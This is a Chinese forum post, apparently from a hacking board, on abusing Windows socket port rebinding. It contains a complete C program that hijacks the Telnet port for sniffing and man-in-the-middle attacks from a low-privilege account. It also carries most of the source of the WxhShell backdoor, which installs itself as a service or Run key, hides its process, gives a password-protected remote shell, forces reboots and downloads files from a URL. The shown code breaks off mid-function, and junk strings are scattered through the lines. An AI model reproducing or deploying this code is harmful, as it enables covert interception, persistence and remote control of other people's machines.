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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v ;\cM/&5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C$[iduS  
$0 .6No_|  
  saddr.sin_family = AF_INET; W^8  
u:APGR^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zp7Pw   
5a/A?9?,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KdkL_GSLT  
U3N d\b'0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7<)H?;~;  
)xy>:2!#Y  
  这意味着什么?意味着可以进行如下的攻击: S'!&,Dxq^  
\(pwHNSafk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 > '=QBW  
GM2}]9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ![%wM Pp  
c[ZrQJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [e` | <  
2VY7?1Ab(@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :4zu.  
}B'-*)^|e{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %/uLyCUZ  
BSMb(EnqX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Led\S;pl  
'! ^7 *@z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +A?P4}  
Bug.>ln1  
  #include vSHPN|*  
  #include d3q%[[@  
  #include xmnBG4,f  
  #include    F:m6Mf7L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D=^&?@k<  
  int main() *1EmK.-'u  
  { {j$2=0Cec  
  WORD wVersionRequested; i975)_X(  
  DWORD ret; y!1X3X,V  
  WSADATA wsaData; ?7NSp2aq2A  
  BOOL val; UK,bfLPt~  
  SOCKADDR_IN saddr; ?L0;, \-t  
  SOCKADDR_IN scaddr; WkiT,(i  
  int err; 6agq^wI  
  SOCKET s; _fS\p|W(E  
  SOCKET sc; ;\w3IAa|V  
  int caddsize;  b+a+OI D  
  HANDLE mt; k{mBG9[z  
  DWORD tid;   3*I\#Z4p1  
  wVersionRequested = MAKEWORD( 2, 2 ); ^gcB+  
  err = WSAStartup( wVersionRequested, &wsaData ); bdWdvd:  
  if ( err != 0 ) { xF{%@t  
  printf("error!WSAStartup failed!\n"); _h<rVcl!wX  
  return -1; KNmU2-%l  
  } m+XHFU  
  saddr.sin_family = AF_INET; N*36rR$^  
   _]5UuIMl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PR"x&JG@  
fof}I:vO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y#c439&  
  saddr.sin_port = htons(23); MtL<)?HQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %j^QK>%  
  { @K!JE w\  
  printf("error!socket failed!\n"); pG"wQ  
  return -1; nT> v  
  } eHvUgDt  
  val = TRUE; l8?C[, K%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :jv(-RTI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L'Cd` .yVO  
  { A4,%l\di<  
  printf("error!setsockopt failed!\n"); BlpyE[h T  
  return -1; JE}VRMNr  
  } X`_tm3HC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5[)5K?%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bK6^<,~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6MM\nIU)/  
BR|0uJ.M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ].rKfv:  
  { 5 <k)tF%  
  ret=GetLastError(); w\i]z1  
  printf("error!bind failed!\n"); U3_O}X+  
  return -1; iT&4;W=72~  
  } rSv,;v  
  listen(s,2); *DIY;)K  
  while(1) *=oO3c0|b,  
  { 4AEw[(t  
  caddsize = sizeof(scaddr); ez32k[eV!  
  //接受连接请求 ,oH\rrglf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $B?8\>_?  
  if(sc!=INVALID_SOCKET) EeMKo  
  { =7e!'cF[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ze>R@rK  
  if(mt==NULL) P Ptmh. }e  
  { zwC ,,U  
  printf("Thread Creat Failed!\n"); 5{(4%  
  break; .+S%hT,v6i  
  } sxr,] @  
  } d8;kM`U  
  CloseHandle(mt); +%TgX&a  
  } _'w:Sx?d7  
  closesocket(s); ,EHLW4v  
  WSACleanup(); 0?ab'vYcp  
  return 0; Jvc<j:{^w  
  }   vWmp ?m  
  DWORD WINAPI ClientThread(LPVOID lpParam) tW~kn9glZ  
  { pNd`fV#jX  
  SOCKET ss = (SOCKET)lpParam; #C } +  
  SOCKET sc; I )yaR+l  
  unsigned char buf[4096]; } O+xs3Uv  
  SOCKADDR_IN saddr; iPl,KjGk  
  long num; ftMlm_u  
  DWORD val; Ws5N|g  
  DWORD ret; m lc8q s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7~J>Ga  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kntY2FM  
  saddr.sin_family = AF_INET; "7EK{6&jQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~x(|'`  
  saddr.sin_port = htons(23); iLv -*%%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]h1.1@>xc  
  { :%9R&p:'ar  
  printf("error!socket failed!\n"); P7W|e~]Yq  
  return -1; ?,7!kTRH  
  } Es#:0KH].v  
  val = 100; '^m'r+B"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vfn[&WN]  
  { FVkl# Qy~  
  ret = GetLastError(); 5uG^`H@X  
  return -1; Ns YEBT7f  
  } { Zv%DV4_$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a$?d_BX  
  { z\<,}x}V  
  ret = GetLastError(); ma-GvWD2  
  return -1; s@&3;{F6D  
  } VDOC>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,j>FC j>  
  { l'4<^q  
  printf("error!socket connect failed!\n"); Jc?zX8>Ae:  
  closesocket(sc); [xY-=-T*4  
  closesocket(ss); T^] ]z}k  
  return -1; evZP*N~G  
  } M/Z$?nd_H  
  while(1) @ NDcO,]  
  { qbSI98r w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]:@{tX 7c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p=UW ^95  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]r!|@AWrQ\  
  num = recv(ss,buf,4096,0); H (K!{k  
  if(num>0) Z] r9lC  
  send(sc,buf,num,0); I 2AQ G  
  else if(num==0) KsTGae;ds  
  break; d , g~.iS~  
  num = recv(sc,buf,4096,0); &+02Sn3A  
  if(num>0) ,F->*=  
  send(ss,buf,num,0); G6{ PrV#  
  else if(num==0) ?glx8@  
  break; N:Q.6_%^  
  } `L$Av9X\  
  closesocket(ss); QZ(O2!Mg  
  closesocket(sc); ~sn3_6{  
  return 0 ; ?s>_^xfD  
  } QqF*SaO>  
zqU$V~5;rG  
a!6r&<s=E  
========================================================== jtfC3E,U  
cM9> V2:P  
下边附上一个代码,,WXhSHELL <,p$eQ)T%  
#O~pf[[L  
========================================================== yn+m,K/  
gA_oJW4_  
#include "stdafx.h" D@ sMCR  
n%\\1  
#include <stdio.h> $ #/8l58  
#include <string.h> rZ.=Lq  
#include <windows.h> g,*fpk  
#include <winsock2.h> )CoFRqz<h  
#include <winsvc.h> um]N]cCD`  
#include <urlmon.h> ! 1?u0  
Y ?~n6<  
#pragma comment (lib, "Ws2_32.lib") RB*z."  
#pragma comment (lib, "urlmon.lib") R~A))4<%%  
?$;&DoE  
#define MAX_USER   100 // 最大客户端连接数 8hy1yt6t4~  
#define BUF_SOCK   200 // sock buffer SkipPEhA  
#define KEY_BUFF   255 // 输入 buffer COW lsca  
xzz@Wc^_  
#define REBOOT     0   // 重启 )40YA\V  
#define SHUTDOWN   1   // 关机 Ie Chz d  
9`/ywt3Y  
#define DEF_PORT   5000 // 监听端口 ;7E"@b,tPN  
Vm@VhCsp  
#define REG_LEN     16   // 注册表键长度 MW^FY4V1m  
#define SVC_LEN     80   // NT服务名长度 (/&ht-~EL  
Q ijO%)  
// 从dll定义API SK/}bZ;f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t3}_mJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #,lbM%a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -KbO[b\V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8Dxg6>  
[Z'4YXS  
// wxhshell配置信息 2>x[_  
struct WSCFG { %NlmLWF.  
  int ws_port;         // 监听端口 Smy J@.L"  
  char ws_passstr[REG_LEN]; // 口令 >d .|I&  
  int ws_autoins;       // 安装标记, 1=yes 0=no _u_|U  
  char ws_regname[REG_LEN]; // 注册表键名 k-*k'S_  
  char ws_svcname[REG_LEN]; // 服务名 nx`W!|g$`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lr)MySsu#H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z-0 N/?x1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t':*~b{V@7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 70*yx?TV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &SZAe/3+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "lA$;\&  
YP"%z6N@v  
}; ]Zay9jD}c-  
{az LtTh  
// default Wxhshell configuration OB(~zUe.R  
struct WSCFG wscfg={DEF_PORT, DVs$3RL  
    "xuhuanlingzhe", |`wJ {-  
    1, yYk?K<ou  
    "Wxhshell", T8T,G4Q  
    "Wxhshell", _mQ~[}y+?  
            "WxhShell Service", k ;vOPcw  
    "Wrsky Windows CmdShell Service", [daR)C  
    "Please Input Your Password: ", LWM& k#i  
  1, 86&r;c:  
  "http://www.wrsky.com/wxhshell.exe", |SJ%Myy  
  "Wxhshell.exe" ^CDh! )  
    }; Bt\V1)  
.$G^c   
// 消息定义模块 j\.pS^+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^=cX L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xr)m8H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'HvW&~i(  
char *msg_ws_ext="\n\rExit."; ER]C;DYX  
char *msg_ws_end="\n\rQuit."; |])Ko08*tE  
char *msg_ws_boot="\n\rReboot..."; 7V\M)r{q7  
char *msg_ws_poff="\n\rShutdown..."; [.G~5%974  
char *msg_ws_down="\n\rSave to "; Q6X}R,KA1  
-Xgup,}?  
char *msg_ws_err="\n\rErr!"; 7BA9zs392  
char *msg_ws_ok="\n\rOK!"; h7]>b'H  
5FNf)F   
char ExeFile[MAX_PATH]; p_3VFKq>0  
int nUser = 0;  mxvV~X %  
HANDLE handles[MAX_USER]; a5g1.6hF  
int OsIsNt; ^dhtc% W>  
ol4!#4Y&{  
SERVICE_STATUS       serviceStatus; '(($dT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oB}rd9  
\HJt}  
// 函数声明 G!ryW4  
int Install(void); ybm&g( -\  
int Uninstall(void); n lvDMZ  
int DownloadFile(char *sURL, SOCKET wsh); TU8K\;l]  
int Boot(int flag); `p^xdj}  
void HideProc(void); a)L=+Z  
int GetOsVer(void); yF&?gPh&  
int Wxhshell(SOCKET wsl); K)8 m?sf/  
void TalkWithClient(void *cs); v[ y|E;B  
int CmdShell(SOCKET sock); E"H> [E  
int StartFromService(void); ;{>-K8=>$  
int StartWxhshell(LPSTR lpCmdLine); fAR0GOI  
TlBu3z'P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z1~U#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q# $dp  
T^ah'WmNw  
// 数据结构和表定义 ZZ;V5o6E  
SERVICE_TABLE_ENTRY DispatchTable[] = $0E_4#kwB  
{ 1T7;=<g`  
{wscfg.ws_svcname, NTServiceMain}, fNi_C"<  
{NULL, NULL} K* 0]*am|v  
}; m4T` Tg#P  
nr9c G/"  
// 自我安装 G|]39/OO3{  
int Install(void) 6sRKbp|r7  
{ h<2O+"^  
  char svExeFile[MAX_PATH]; <~qhy{hRn  
  HKEY key; 9_S>G$9D  
  strcpy(svExeFile,ExeFile); |a Ht6F  
W r;?t!  
// 如果是win9x系统,修改注册表设为自启动 !;C *Wsp}  
if(!OsIsNt) { 2KmPZ&r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o[eIwGxZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j]_"MMwk$<  
  RegCloseKey(key); %8GY`T:^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s%qK<U4@;Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]+0I8eerd  
  RegCloseKey(key); ViT$]Nv  
  return 0; VlFDMw.4.+  
    } e_pyjaY!s  
  } M}6? |ir  
} $lrq*Nf9c  
else { HPR*:t  
jG3i )ALx  
// 如果是NT以上系统,安装为系统服务 r*l:F{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *[_>d.i  
if (schSCManager!=0) AU +2'  
{ s8N\cOd#i  
  SC_HANDLE schService = CreateService #(NkbJ5ka  
  ( BK:S:  
  schSCManager, m)9qO7P  
  wscfg.ws_svcname, 68LB745  
  wscfg.ws_svcdisp, \TBY)_[ {  
  SERVICE_ALL_ACCESS, "&/&v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DV/P/1E  
  SERVICE_AUTO_START, Z-+p+34ytq  
  SERVICE_ERROR_NORMAL, jlZW!$Iq  
  svExeFile, MoP 0qNk  
  NULL, M9b_Q  
  NULL, :3Z"Qk$uR  
  NULL, /\9X0a2h|E  
  NULL, l;g8_uyjv7  
  NULL .<`Rq'  
  ); L~jKx)S%  
  if (schService!=0) IZ6[|Ach6  
  { +H L]t'UEg  
  CloseServiceHandle(schService); ;0VE *  
  CloseServiceHandle(schSCManager); .ZrQ{~t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^dR5fAS  
  strcat(svExeFile,wscfg.ws_svcname); &H{KXX"X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q4MTedj1H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uNYHEs6%T$  
  RegCloseKey(key); )xQA+$H#4  
  return 0; [sY>ac  
    } ?9801Da#/  
  } `jb?6;15  
  CloseServiceHandle(schSCManager); r`L$[C5I  
} <vV?VV([  
} Ot]PH[+  
 :RW0<  
return 1; HJ*W3Mg  
} L6O@q`\z  
n'JwT! A  
// 自我卸载 U>^ -Db]  
int Uninstall(void) ukr a)>Y[|  
{  3y?ig2  
  HKEY key; pr[[)[]/  
E:&ga}h  
if(!OsIsNt) { %o +VZEH3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $CVbc%  
  RegDeleteValue(key,wscfg.ws_regname); )*iSN*T8q  
  RegCloseKey(key); jn#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <5~} !N X`  
  RegDeleteValue(key,wscfg.ws_regname); Ee##:I[z  
  RegCloseKey(key); b&!7(Q[ sT  
  return 0; Au,}5=+`P  
  } '@iS5Fni  
} ~J6c1jG  
} dt  4_x1  
else { xF_ Y7rw1w  
jv]:`$}G\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rK2*DuE  
if (schSCManager!=0) 65Ysg}x  
{ lfKrd3KS_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dg@>d0FW  
  if (schService!=0) c]W]m`:  
  { \+g95|[/  
  if(DeleteService(schService)!=0) { C``%<)WC  
  CloseServiceHandle(schService); #kV`G.EX  
  CloseServiceHandle(schSCManager); W&6P%0G/  
  return 0; B" wk:\zC  
  } 2Fce| Tn  
  CloseServiceHandle(schService); It4J \S  
  } Kl$!_$  
  CloseServiceHandle(schSCManager); s"G6aM  
} ^=wG#!#V"1  
} ~OEP)c\k  
g0^%X9s  
return 1; G)?O!(_  
} 0QDm3V0n  
"@E1^  
// 从指定url下载文件 W]n%$a  
int DownloadFile(char *sURL, SOCKET wsh) ewk62 {  
{ H>`?S{J  
  HRESULT hr; }{S W~yW  
char seps[]= "/"; Mx-,:a9}  
char *token; Vcl"qz@Fj  
char *file; Fp06a!7<  
char myURL[MAX_PATH]; ;EE*#"IJ  
char myFILE[MAX_PATH]; xk}YeNVj  
 OXzJ%&h  
strcpy(myURL,sURL); Ni GK| Z   
  token=strtok(myURL,seps); 1z$;>+g<  
  while(token!=NULL) >0SF79-RE  
  { w'.ny<Pe  
    file=token; Vl?R?K=`~J  
  token=strtok(NULL,seps); OlFls 8#>  
  } kN;l@>  
*Rj>// A  
GetCurrentDirectory(MAX_PATH,myFILE); (9$/r/-a  
strcat(myFILE, "\\"); 8sg8gBt  
strcat(myFILE, file); . dVo[m;  
  send(wsh,myFILE,strlen(myFILE),0); QKbX^C  
send(wsh,"...",3,0); )D@1V=9,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BJk\p.BVN  
  if(hr==S_OK) 6A/Nlk.  
return 0; Zcz)FP#  
else `qSNS->  
return 1; VD +8j29  
6,0pkx&Nv  
} n4ce)N@  
<<w $ Ur  
// 系统电源模块 t[F tIj6  
int Boot(int flag) vBQ5-00YY=  
{ M0x5s@  
  HANDLE hToken; |z|5j!Nfh  
  TOKEN_PRIVILEGES tkp; l0u6nGkh  
+vLuzM-  
  if(OsIsNt) { 'sY>(D*CQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^,b*.6t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T8ZBQ;o  
    tkp.PrivilegeCount = 1; or ~o'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B.K"1o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VE6T&fz`  
if(flag==REBOOT) { yK0Q,   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EUe2<G  
  return 0; 5}~*,_J2Z  
} oFHVA!lqe  
else { 9ToM5oQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J~DP*}~XK  
  return 0; 7~eo^/Pb S  
} -^$CGRE6A  
  } bP Er+?fu  
  else { ]<4Yor}t{;  
if(flag==REBOOT) { /[GOs*{zB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f3V&i)w(  
  return 0; v (=fV/  
} rc*&K#? B  
else { RV^2[Gdi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4G@vO {$  
  return 0; zY\v|l<T  
} Q]w;o&eo  
} fmA&1u/xMs  
,^,Vq]$3  
return 1; A`=ESz  
} 27E6S)zv  
p2!x8`IB*  
// win9x进程隐藏模块  -deY,%  
void HideProc(void) -d %bc?  
{ H<%7aOwO2  
0[T!}F^%e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FD#?pVyPn^  
  if ( hKernel != NULL ) CTR|b}!  
  { Zx55mSfx:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8S@ ~^D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @+ Berb  
    FreeLibrary(hKernel); Otn,(j;u  
  } k^]+I% ?Q  
Fmt5"3B  
return; \@['V   
} rd0BvQ9TK  
aAu upPu  
// 获取操作系统版本 p4W->AVv$  
int GetOsVer(void) OWB^24Z&3  
{ [ G[HQ)A  
  OSVERSIONINFO winfo; b\][ x6zJp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _7]5 Q  
  GetVersionEx(&winfo); E7^tU416  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ')bx1gc(?  
  return 1; o&;+!Si@T  
  else {NKDmeg:D  
  return 0; y= cBpC  
} [_L:.,]g8  
?_m;~>C  
// 客户端句柄模块 0OEyJ|g  
int Wxhshell(SOCKET wsl) nrwb6wj  
{ X  LA  
  SOCKET wsh; W5_t/_EWD  
  struct sockaddr_in client; 6peO9]Zy  
  DWORD myID; Nh]eZ3O  
R7x4v  
  while(nUser<MAX_USER) `8xe2=Ub  
{ 6rt.ec(  
  int nSize=sizeof(client); .4_EaQ;jX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); isDBNXV:  
  if(wsh==INVALID_SOCKET) return 1; 8\. #  
0D|^S<z6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vay_QxB5  
if(handles[nUser]==0) V{{b^y  
  closesocket(wsh); wRnt$ 1  
else 26 o68U8&y  
  nUser++; ` B : Ydf  
  } g?^o++  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HP. j.  
6;I&{9  
  return 0; UG&/0{j5XV  
} ZaH<\`=%  
ut& RKr3  
// 关闭 socket H:,rNaz7D^  
void CloseIt(SOCKET wsh) bzk@6jR1  
{ 1xL2f&bG  
closesocket(wsh); RQ9fA1YP  
nUser--; JT[|l-\zo  
ExitThread(0); G0CmY43  
} _s|C0Pt  
~hE"B) e  
// 客户端请求句柄 V_Wv(G0-\  
void TalkWithClient(void *cs) `-]*Qb+  
{ f@[q# }6  
]*%0CDY6`N  
  SOCKET wsh=(SOCKET)cs; wcsUb 9(  
  char pwd[SVC_LEN]; 'Xxt[Jy  
  char cmd[KEY_BUFF]; ,hT t]w  
char chr[1]; KNQX\-=  
int i,j; b0 PF7PEEQ  
{]Nvq9?  
  while (nUser < MAX_USER) { Xv]O1fcI  
fk#SD "iJ  
if(wscfg.ws_passstr) { HS="t3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TN.mNl%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;5PXPpJ  
  //ZeroMemory(pwd,KEY_BUFF); ::9U5E;!  
      i=0; +QtK "5M  
  while(i<SVC_LEN) { ojT TYR{  
~U~KUL|  
  // 设置超时 _?Rprmjx}  
  fd_set FdRead; *S:^3{.m=  
  struct timeval TimeOut; ;pBSGr 9  
  FD_ZERO(&FdRead); ,kpk XK  
  FD_SET(wsh,&FdRead); ,l&Dt,  
  TimeOut.tv_sec=8; hG uRV|`  
  TimeOut.tv_usec=0; HB||'gIC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); flVQG@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Fv1D  
XBF#ILJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); owmV7E1  
  pwd=chr[0]; |@sUN:G4k  
  if(chr[0]==0xd || chr[0]==0xa) { CS:j->  
  pwd=0; k9 .@S  
  break; vCFMO3  
  } ^UEI`_HO0  
  i++; t}c ymX~  
    } BCJo/m  
fp.,MIS  
  // 如果是非法用户,关闭 socket rNO'0Ck=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V~+Oil6sa  
} Q\<C9%a  
,gUSW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &UEr4RK;I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c/^} =t(  
#i%it  
while(1) { Kxn/@@z>u  
|b QKymS  
  ZeroMemory(cmd,KEY_BUFF); O B_g:T  
Xg^`fRg =T  
      // 自动支持客户端 telnet标准   UP58Cln*  
  j=0; X#Y0g`muW  
  while(j<KEY_BUFF) { =XzrmPu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \v)Dy)Vhg2  
  cmd[j]=chr[0]; QpBgG~h"  
  if(chr[0]==0xa || chr[0]==0xd) { &;&i#ZO  
  cmd[j]=0; (]w_}E]N  
  break; Dwj!B;AZ_  
  } "|{ NRIE  
  j++; ~-.}]N+([  
    } t:eZ`6o$T\  
I+ rHb< P%  
  // 下载文件 _<6 ^r  
  if(strstr(cmd,"http://")) { s+#gH@c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IX$dDwY|O>  
  if(DownloadFile(cmd,wsh)) p^3 ]Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ='`z  
  else Y4_/G4C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F@1~aeX-  
  } Pv17wUB  
  else { ~pO6C*"  
yH|[K=?S[  
    switch(cmd[0]) { 9E'fM  
  P(l$5x]g,  
  // 帮助 B5GT^DaT  
  case '?': { JF!JY( U,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ew5(U`]  
    break; j1Fy'os"!  
  } uUB,OmLN  
  // 安装 IDQ@h`"B  
  case 'i': { /BjM&v(5/  
    if(Install()) \T `InBbf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cfBq/2I  
    else P"Lk(gY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]v(8i3P84  
    break; Bi;D d?.  
    } [=7=zV;}4  
  // 卸载 [fx1H~T<  
  case 'r': { ROlef;/A  
    if(Uninstall()) VkTdpeBV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K1>X%f^  
    else 9 js!gJC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `% IzW2v6  
    break; a"SH_+T{  
    } xP#vAR  
  // 显示 wxhshell 所在路径 H=Scrvfx  
  case 'p': { }{T9`^V:h  
    char svExeFile[MAX_PATH]; %sxLxx_x!  
    strcpy(svExeFile,"\n\r"); 7r;7'X5  
      strcat(svExeFile,ExeFile); Jmrs@  
        send(wsh,svExeFile,strlen(svExeFile),0); W; yNg  
    break; "O{j}QwY  
    } rH*1bDL  
  // 重启 =lT~  
  case 'b': { HK&Ul=^VN|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .B?6  
    if(Boot(REBOOT)) 3 <}\{jT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Ysm6n '  
    else { Fa<>2KkOr  
    closesocket(wsh); G&=4@pLY5  
    ExitThread(0); ,)/gy)~#  
    } /kV3[Rw+  
